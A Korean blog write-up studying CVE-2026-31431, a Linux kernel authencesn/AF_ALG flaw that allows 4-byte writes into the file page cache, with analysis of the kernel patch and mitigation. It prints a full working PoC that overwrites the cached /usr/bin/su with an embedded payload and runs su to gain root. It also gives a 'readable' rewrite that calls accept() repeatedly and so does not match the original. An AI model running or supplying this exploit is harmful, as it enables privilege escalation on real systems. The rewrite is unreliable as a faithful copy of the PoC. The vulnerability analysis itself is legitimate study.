CVE-2026-31431은 2017년부터 존재한 리눅스 커널의 논리 결함에 의해 발생하는 취약점으로, 4바이트의 파일 캐시 Arbitrary Write를 제공합니다.
익스플로잇에는 거의 의존성이 필요하지 않으며, 리눅스 커널에 기본적으로 포함된 Crypto API의 AEAD 프레임워크 구현에 존재하는 authencesn() 템플릿의 결함을 통해 트리거됩니다.
공개된 PoC는 다음과 같습니다.
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
아무래도 가독성이 떨어지니 좀 풀어서 다시 써보면 이렇게 됩니다.
import os as g,zlib,socket as s
def d(x):
return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
a.setsockopt(279,1,d('0800010000000010'+'0'*64))
a.setsockopt(279,5,None,4)
i=d('00')
a.accept().sendmsg([b"A"*4+c],[(279,3,i*4),(279,2,b'\x10'+i*19),(279,4,b'\x08'+i*3),],32768)
r,w=g.pipe()
g.splice(f,w,t+4,offset_src=0)
g.splice(r,a.accept().fileno(),t+4)
try:
a.accept().recv(8+t)
except:
0
f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):
c(f,i,e[i:i+4])
i+=4
g.system("su")
(작동할지는 모르겠네요)
이제 코드를 보고 구조를 알 수 있습니다.
진입점에서부터,
c 함수가 익스플로잇을 실제로 구현합니다. c의 구조는,
[b"A"*4+(페이로드 4바이트)],
[
(SOL_ALG,ALG_SET_OP,'\0'*4), #ALG_OP_DECRYPT = 0
(SOL_ALG,ALG_SET_IV,b'\x10'+'\0'*19),
(SOL_ALG,ALG_SET_AEAD_ASSOCLEN,b'\x08'+'\0'*3),
],
32768
PoC만 보고 이해하기는 어렵습니다.
리눅스 소스코드의 패치 커밋을 확인해봅시다.
커밋에 대한 설명은 이렇게 되어 있습니다.
crypto: algif_aead - Revert to operating out-of-place
This mostly reverts commit 72548b0 except for the copying of
the associated data.
There is no benefit in operating in-place in algif_aead since the
source and destination come from different mappings. Get rid of
all the complexity added for in-place operation and just copy the
AD directly.
Fixes: 72548b0 ("crypto: algif_aead - copy AAD from src to dst")
즉, algif_aead 구현에서 in-place 메모리 최적화를 제거한 커밋입니다.
그러니까, 간단히 말하면 메모리 전체를 복사하는 대신 주소만 넘기는 방식으로 최적화를 했는데, 어차피 src와 dst는 다른 매핑에서 온 거라 의미가 없었고, 심지어 이 와중에 특정 템플릿 구현은 입력 버퍼보다 긴 출력을 가져서 문제가 생긴 거네요...
그럼 이제 crypto/authencesn.c를 봅시다. 이 정도만 알아도 익스플로잇을 작성하거나 사용하는 것에 문제는 없겠지만, 구체적으로 알아보는게 좋겠죠.
사실 그렇게 많은 것을 살펴볼 필요는 없습니다.
crypto_authenc_esn_decrypt()함수만 보면 됩니다. (2397e92 커밋)
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
struct crypto_aead *authenc_esn = crypto_aead_reqtfm(req);
struct authenc_esn_request_ctx *areq_ctx = aead_request_ctx(req);
struct crypto_authenc_esn_ctx *ctx = crypto_aead_ctx(authenc_esn);
struct ahash_request *ahreq = (void *)(areq_ctx->tail + ctx->reqoff);
unsigned int authsize = crypto_aead_authsize(authenc_esn);
struct crypto_ahash *auth = ctx->auth;
u8 *ohash = areq_ctx->tail;
unsigned int assoclen = req->assoclen;
unsigned int cryptlen = req->cryptlen;
u8 *ihash = ohash + crypto_ahash_digestsize(auth);
struct scatterlist *dst = req->dst;
u32 tmp[2];
int err;
if (assoclen < 8)
return -EINVAL;
cryptlen -= authsize;
if (req->src != dst)
memcpy_sglist(dst, req->src, assoclen + cryptlen);
scatterwalk_map_and_copy(ihash, req->src, assoclen + cryptlen,
authsize, 0);
if (!authsize)
goto tail;
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
sg_init_table(areq_ctx->dst, 2);
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
ahash_request_set_tfm(ahreq, auth);
ahash_request_set_crypt(ahreq, dst, ohash, assoclen + cryptlen);
ahash_request_set_callback(ahreq, aead_request_flags(req),
authenc_esn_verify_ahash_done, req);
err = crypto_ahash_digest(ahreq);
if (err)
return err;
tail:
return crypto_authenc_esn_decrypt_tail(req, aead_request_flags(req));
}
이 코드에서 알 수 있는 부분은,
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
tmp에 8바이트를 src에서 복사해옵니다.
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
tmp에서 4바이트를 dst의 4바이트 오프셋 위치로 복사합니다.
그 후에 문제의 코드가 나옵니다.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
이 코드는 dst의 끝 위치에다가 처음 src에서 복사한 tmp의 오프셋 +4에서 4바이트를 복사하여 씁니다. 여기서 경계 위반이 발생합니다.
이제 PoC에서 소켓에 전송한 메시지를 다시 살펴봅시다.
[b"A"*4+(페이로드 4바이트)],
[
(SOL_ALG,ALG_SET_OP,'\0'*4), #ALG_OP_DECRYPT = 0
(SOL_ALG,ALG_SET_IV,b'\x10'+'\0'*19),
(SOL_ALG,ALG_SET_AEAD_ASSOCLEN,b'\x08'+'\0'*3),
],
32768
이 구조 전체가 src가 되고, 여기서 가장 윗줄의
[b"A"*4+(페이로드 4바이트)]
부분은 tmp에 복사됩니다.
이제 dst가 파일 캐시 버퍼가 되어 임의 쓰기를 달성할 수 있습니다.
추가적으로, 해당 템플릿에 대한 mitigation을 보면,
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
} else {
scatterwalk_map_and_copy(tmp, dst, 0, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen - 4, 4, 1);
src = scatterwalk_ffwd(areq_ctx->src, src, 8);
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
memcpy_sglist(dst, src, assoclen + cryptlen - 8);
dst = req->dst;
}
in-place와 out-of-place의 동작을 다르게 하는 코드를 추가했습니다.
공부 삼아서 최대한 다른 write-up을 안 보고 작성해봤는데 너무 어렵네요.
취약점 처음 나오자마자 써놓고 안 틀렸다는 확신이 없어서 임시 글에 방치해두다가 더 파보지도 않을 것 같고 써놓은 것도 아깝고 해서 그냥 올려봅니다. 틀린 부분이 있다면 알려주세요.